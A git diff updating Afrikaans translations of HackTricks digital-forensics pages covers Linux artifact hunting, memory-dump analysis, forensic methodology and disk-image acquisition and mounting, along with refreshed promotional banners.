* **'n deeglike tydlynanalise uit te voer** met behulp van gereedskap soos **Autopsy** vir die visualisering van gebeurtenistydlyne of **Sleuth Kit's** `mactime` vir gedetailleerde tydlyn data.
|
||||
* **Ondersoek onverwagte skripte** in die stelsel se $PATH, wat skulp of PHP-skripte kan insluit wat deur aanvallers gebruik word.
|
||||
* **Kyk na `/dev` vir ongewone lêers**, aangesien dit tradisioneel spesiale lêers bevat, maar malware-verwante lêers kan huisves.
|
||||
* **Soek na versteekte lêers of gidse** met name soos ".. " (dot dot space) of "..^G" (dot dot control-G), wat kwaadwillige inhoud kan verberg.
|
||||
* **Identifiseer setuid root lêers** met die opdrag: `find / -user root -perm -04000 -print` Dit vind lêers met verhoogde voorregte, wat deur aanvallers misbruik kan word.
|
||||
* **Hersien verwydering tydstempels** in inode-tabelle om massalêerverwyderings op te spoor, wat moontlik die teenwoordigheid van rootkits of trojans aandui.
|
||||
* **Hersien verwydering tydstempels** in inode-tabelle om massalêer verwyderings op te spoor, wat moontlik die teenwoordigheid van rootkits of trojans aandui.
|
||||
* **Inspekteer opeenvolgende inodes** vir nabye kwaadwillige lêers nadat een geïdentifiseer is, aangesien hulle saam geplaas mag wees.
|
||||
* **Kontroleer algemene binêre gidse** (_/bin_, _/sbin_) vir onlangs gewysigde lêers, aangesien hierdie deur malware verander kan wees.
|
||||
````bash
|
||||
|
@ -376,7 +376,7 @@ ls -laR --sort=time /bin```
|
|||
ls -lai /bin | sort -n```
|
||||
````
|
||||
{% hint style="info" %}
|
||||
Let daarop dat 'n **aanvaller** die **tyd** kan **wysig** om **lêers** **legitiem** te laat lyk, maar hy kan nie die **inode** **wysig** nie. As jy vind dat 'n **lêer** aandui dat dit op die **selfde tyd** as die res van die lêers in die **selfde** gids geskep en gewysig is, maar die **inode** **onverwagte groter** is, dan is die **tydstempels van daardie lêer gewysig**.
|
||||
Let daarop dat 'n **aanvaller** die **tyd** kan **wysig** om **lêers** **legitiem** te laat lyk, maar hy kan nie die **inode** **wysig** nie. As jy vind dat 'n **lêer** aandui dat dit op die **dieselfde tyd** as die res van die lêers in dieselfde gids geskep en gewysig is, maar die **inode** **onverwagte groter** is, dan is die **tydstempels van daardie lêer gewysig**.
|
||||
{% endhint %}
|
||||
|
||||
## Vergelyk lêers van verskillende lêerstelsels
|
||||
|
@ -397,7 +397,7 @@ git diff --no-index --diff-filter=M path/to/old_version/ path/to/new_version/ |
|
|||
```bash
|
||||
git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/
|
||||
```
|
||||
* **Filter opsies** (`--diff-filter`) help om te fokus op spesifieke veranderinge soos bygevoeg (`A`), verwyder (`D`), of gewysig (`M`) lêers.
|
||||
* **Filter opsies** (`--diff-filter`) help om te fokus op spesifieke veranderinge soos bygevoegde (`A`), verwyderde (`D`), of gewysigde (`M`) lêers.
|
||||
* `A`: Bygevoegde lêers
|
||||
* `C`: Gekopieerde lêers
|
||||
* `D`: Verwyderde lêers
|
||||
|
@ -415,24 +415,25 @@ git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/
|
|||
* [https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203](https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203)
|
||||
* **Boek: Malware Forensics Field Guide for Linux Systems: Digital Forensics Field Guides**
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
Werk jy in 'n **kubersekuriteitsmaatskappy**? Wil jy jou **maatskappy in HackTricks geadverteer sien**? of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks in PDF aflaai**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
||||
**Deel jou hacking truuks deur PRs in te dien na die** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **en** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **werkvloei te outomatiseer** wat deur die wêreld se **mees gevorderde** gemeenskapstools aangedryf word.\
|
||||
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **werkvloei** te **automate** wat deur die wêreld se **mees gevorderde** gemeenskapstoestelle aangedryf word.\
|
||||
Kry Toegang Vandag:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
|
|
@ -1,72 +1,52 @@
|
|||
# Geheue dump-analise
|
||||
# Geheue-dump analise
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks af in PDF-formaat**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die [hacktricks repo](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com/) is die mees relevante kuberveiligheidsevenement in **Spanje** en een van die belangrikste in **Europa**. Met **die missie om tegniese kennis te bevorder**, is hierdie kongres 'n kookpunt vir tegnologie- en kuberveiligheidspesialiste in elke dissipline.
|
||||
[**RootedCON**](https://www.rootedcon.com/) is die mees relevante kuberveiligheid gebeurtenis in **Spanje** en een van die belangrikste in **Europa**. Met **die missie om tegniese kennis te bevorder**, is hierdie kongres 'n bruisende ontmoetingspunt vir tegnologie en kuberveiligheid professionele in elke dissipline.
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
## Begin
|
||||
|
||||
Begin met **soek na malware** binne die pcap. Gebruik die **gereedskap** wat genoem word in [**Malware-analise**](../malware-analysis.md).
|
||||
Begin **soek** na **malware** binne die pcap. Gebruik die **gereedskap** wat in [**Malware Analise**](../malware-analysis.md) genoem word.
|
||||
|
||||
## [Volatility](../../../generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md)
|
||||
|
||||
**Volatility is die belangrikste oopbron-raamwerk vir geheue dump-analise**. Hierdie Python-gereedskap analiseer damps van eksterne bronne of VMware-VM's en identifiseer data soos prosesse en wagwoorde gebaseer op die dump se bedryfstelselprofiel. Dit is uitbreidbaar met plugins, wat dit baie veelsydig maak vir forensiese ondersoeke.
|
||||
**Volatility is die hoof open-source raamwerk vir geheue-dump analise**. Hierdie Python-gereedskap analiseer dumps van eksterne bronne of VMware VM's, wat data soos prosesse en wagwoorde identifiseer gebaseer op die dump se OS-profiel. Dit is uitbreidbaar met plugins, wat dit baie veelsydig maak vir forensiese ondersoeke.
|
||||
|
||||
**[Vind hier 'n spiekbrief](../../../generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md)**
|
||||
**[Vind hier 'n cheatsheet](../../../generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md)**
|
||||
|
||||
## Mini dump crash verslag
|
||||
|
||||
## Mini dump-ongelukverslag
|
||||
|
||||
Wanneer die dump klein is (net 'n paar KB, dalk 'n paar MB), is dit waarskynlik 'n mini dump-ongelukverslag en nie 'n geheue-dump nie.
|
||||
Wanneer die dump klein is (net 'n paar KB, dalk 'n paar MB) dan is dit waarskynlik 'n mini dump crash verslag en nie 'n geheue dump nie.
|
||||
|
||||
![](<../../../.gitbook/assets/image (216).png>)
|
||||
|
||||
As jy Visual Studio geïnstalleer het, kan jy hierdie lêer oopmaak en 'n paar basiese inligting soos prosesnaam, argitektuur, uitsonderingsinligting en uitgevoerde modules bind:
|
||||
As jy Visual Studio geïnstalleer het, kan jy hierdie lêer oopmaak en 'n paar basiese inligting soos prosesnaam, argitektuur, uitsondering inligting en modules wat uitgevoer word bind:
|
||||
|
||||
![](<../../../.gitbook/assets/image (217).png>)
|
||||
|
||||
Jy kan ook die uitsondering laai en die gedekompileerde instruksies sien
|
||||
Jy kan ook die uitsondering laai en die gedecompileerde instruksies sien
|
||||
|
||||
![](<../../../.gitbook/assets/image (219).png>)
|
||||
|
||||
![](<../../../.gitbook/assets/image (218) (1).png>)
|
||||
|
||||
In elk geval is Visual Studio nie die beste gereedskap om 'n diepte-analise van die dump uit te voer nie.
|
||||
In elk geval, Visual Studio is nie die beste gereedskap om 'n analise van die diepte van die dump uit te voer nie.
|
||||
|
||||
Jy moet dit **oopmaak** met behulp van **IDA** of **Radare** om dit in **diepte** te ondersoek.
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com/) is die mees relevante kuberveiligheidsevenement in **Spanje** en een van die belangrikste in **Europa**. Met **die missie om tegniese kennis te bevorder**, is hierdie kongres 'n kookpunt vir tegnologie- en kuberveiligheidspesialiste in elke dissipline.
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks af in PDF-formaat**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die [hacktricks repo](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
Jy moet dit **oopmaak** met **IDA** of **Radare** om dit in **diepte** te inspekteer.
|
||||
|
|
|
@ -1,40 +1,43 @@
|
|||
# Basiese Forensiese Metodologie
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
* Werk jy by 'n **cybersekerheidsmaatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks aflaai in PDF-formaat**? Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die [hacktricks-opslagplaas](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud-opslagplaas](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Skep en Koppel 'n Beeld
|
||||
## Skep en Monteer 'n Beeld
|
||||
|
||||
{% content-ref url="../../generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md" %}
|
||||
[image-acquisition-and-mount.md](../../generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Malware-analise
|
||||
## Malware Analise
|
||||
|
||||
Dit **is nie noodwendig die eerste stap om uit te voer sodra jy die beeld het nie**. Maar jy kan hierdie malware-analise tegnieke onafhanklik gebruik as jy 'n lêer, 'n lêersisteembeeld, geheuebeeld, pcap... het, dus dit is goed om hierdie aksies in gedagte te hou:
|
||||
Dit **is nie noodsaaklik die eerste stap om uit te voer sodra jy die beeld het nie**. Maar jy kan hierdie malware analise tegnieke onafhanklik gebruik as jy 'n lêer, 'n lêerstelsel beeld, geheue beeld, pcap... het, so dit is goed om **hierdie aksies in gedagte te hou**:
|
||||
|
||||
{% content-ref url="malware-analysis.md" %}
|
||||
[malware-analysis.md](malware-analysis.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Inspeksie van 'n Beeld
|
||||
## Inspekteer 'n Beeld
|
||||
|
||||
as jy 'n **forensiese beeld** van 'n toestel gekry het, kan jy begin met die **analise van die partisies, lêersisteme** wat gebruik word en die **herwinning** van potensieel **interessante lêers** (selfs uitgewisde een). Leer hoe in:
|
||||
As jy 'n **forensiese beeld** van 'n toestel ontvang, kan jy begin **die partisie, lêerstelsel** wat gebruik word en **herstel** potensieel **interessante lêers** (selfs verwyderde) analiseer. Leer hoe in:
|
||||
|
||||
{% content-ref url="partitions-file-systems-carving/" %}
|
||||
[partitions-file-systems-carving](partitions-file-systems-carving/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Afhanklik van die gebruikte bedryfstelsels en selfs platform moet verskillende interessante artefakte gesoek word:
|
||||
Afhangende van die gebruikte OS's en selfs platform, moet verskillende interessante artefakte gesoek word:
|
||||
|
||||
{% content-ref url="windows-forensics/" %}
|
||||
[windows-forensics](windows-forensics/)
|
||||
|
@ -48,9 +51,9 @@ Afhanklik van die gebruikte bedryfstelsels en selfs platform moet verskillende i
|
|||
[docker-forensics.md](docker-forensics.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Diep inspeksie van spesifieke lêertipes en sagteware
|
||||
## Diep inspeksie van spesifieke lêer-tipes en Sagteware
|
||||
|
||||
As jy 'n baie **verdagte lêer** het, dan **afhangend van die lêertipe en sagteware** wat dit geskep het, kan verskeie **truuks** nuttig wees.\
|
||||
As jy 'n baie **verdagte** **lêer** het, dan **afhangende van die lêer-tipe en sagteware** wat dit geskep het, kan verskeie **truuks** nuttig wees.\
|
||||
Lees die volgende bladsy om 'n paar interessante truuks te leer:
|
||||
|
||||
{% content-ref url="specific-software-file-type-tricks/" %}
|
||||
|
@ -63,40 +66,43 @@ Ek wil 'n spesiale vermelding maak van die bladsy:
|
|||
[browser-artifacts.md](specific-software-file-type-tricks/browser-artifacts.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Geheue-Dump Inspeksie
|
||||
## Geheue Dump Inspekteer
|
||||
|
||||
{% content-ref url="memory-dump-analysis/" %}
|
||||
[memory-dump-analysis](memory-dump-analysis/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Pcap Inspeksie
|
||||
## Pcap Inspekteer
|
||||
|
||||
{% content-ref url="pcap-inspection/" %}
|
||||
[pcap-inspection](pcap-inspection/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## **Teen-Forensiese Tegnieke**
|
||||
## **Anti-Forensiese Tegnieke**
|
||||
|
||||
Hou moontlike gebruik van teen-forensiese tegnieke in gedagte:
|
||||
Hou in gedagte die moontlike gebruik van anti-forensiese tegnieke:
|
||||
|
||||
{% content-ref url="anti-forensic-techniques.md" %}
|
||||
[anti-forensic-techniques.md](anti-forensic-techniques.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Bedreigingspeuring
|
||||
## Bedreiging Jag
|
||||
|
||||
{% content-ref url="file-integrity-monitoring.md" %}
|
||||
[file-integrity-monitoring.md](file-integrity-monitoring.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
* Werk jy by 'n **cybersekerheidsmaatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks aflaai in PDF-formaat**? Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die [hacktricks-opslagplaas](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud-opslagplaas](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,22 +1,25 @@
|
|||
# Beeldverwerwing & Monteer
|
||||
# Beeldverkryging & Monteer
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
* Werk jy by 'n **cybersekerheidsmaatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks af in PDF-formaat**? Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks-klere**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die [hacktricks-opslagplek](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud-opslagplek](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
## Verwerwing
|
||||
## Verkryging
|
||||
|
||||
### DD
|
||||
```bash
|
||||
|
@ -31,13 +34,13 @@ dcfldd if=/dev/sdc of=/media/usb/pc.image hash=sha256 hashwindow=1M hashlog=/med
|
|||
```
|
||||
### FTK Imager
|
||||
|
||||
Jy kan [**die FTK-imager hier aflaai**](https://accessdata.com/product-download/debian-and-ubuntu-x64-3-1-1).
|
||||
Jy kan [**die FTK imager hier aflaai**](https://accessdata.com/product-download/debian-and-ubuntu-x64-3-1-1).
|
||||
```bash
|
||||
ftkimager /dev/sdb evidence --e01 --case-number 1 --evidence-number 1 --description 'A description' --examiner 'Your name'
|
||||
```
|
||||
### EWF
|
||||
|
||||
Jy kan 'n skyfafbeelding genereer deur die [**ewf tools**](https://github.com/libyal/libewf) te gebruik.
|
||||
Jy kan 'n skyfbeeld genereer met behulp van die [**ewf tools**](https://github.com/libyal/libewf).
|
||||
```bash
|
||||
ewfacquire /dev/sdb
|
||||
#Name: evidence
|
||||
|
@ -54,13 +57,13 @@ ewfacquire /dev/sdb
|
|||
#Then use default values
|
||||
#It will generate the disk image in the current directory
|
||||
```
|
||||
## Monteer
|
||||
## Mount
|
||||
|
||||
### Verskeie tipes
|
||||
|
||||
In **Windows** kan jy probeer om die gratis weergawe van Arsenal Image Mounter ([https://arsenalrecon.com/downloads/](https://arsenalrecon.com/downloads/)) te gebruik om **die forensiese beeld te monteer**.
|
||||
In **Windows** kan jy probeer om die gratis weergawe van Arsenal Image Mounter ([https://arsenalrecon.com/downloads/](https://arsenalrecon.com/downloads/)) te gebruik om die **forensiese beeld** te **mont**.
|
||||
|
||||
### Rou
|
||||
### Raw
|
||||
```bash
|
||||
#Get file type
|
||||
file evidence.img
|
||||
|
@ -86,12 +89,12 @@ mount output/ewf1 -o ro,norecovery /mnt
|
|||
```
|
||||
### ArsenalImageMounter
|
||||
|
||||
Dit is 'n Windows-toepassing om volumes te koppel. Jy kan dit hier aflaai [https://arsenalrecon.com/downloads/](https://arsenalrecon.com/downloads/)
|
||||
Dit is 'n Windows-toepassing om volumes te monteer. Jy kan dit hier aflaai [https://arsenalrecon.com/downloads/](https://arsenalrecon.com/downloads/)
|
||||
|
||||
### Foute
|
||||
### Errors
|
||||
|
||||
* **`kan nie /dev/loop0 slegs-lees koppel nie`** in hierdie geval moet jy die vlae **`-o ro,norecovery`** gebruik
|
||||
* **`verkeerde fs-tipe, slegte opsie, slegte superblock op /dev/loop0, ontbrekende kodebladsy of hulpprogram, of ander fout.`** in hierdie geval het die koppeling misluk omdat die afsnit van die lêersisteem verskil van dié van die skyfafbeelding. Jy moet die Sektor-grootte en die Beginsektor vind:
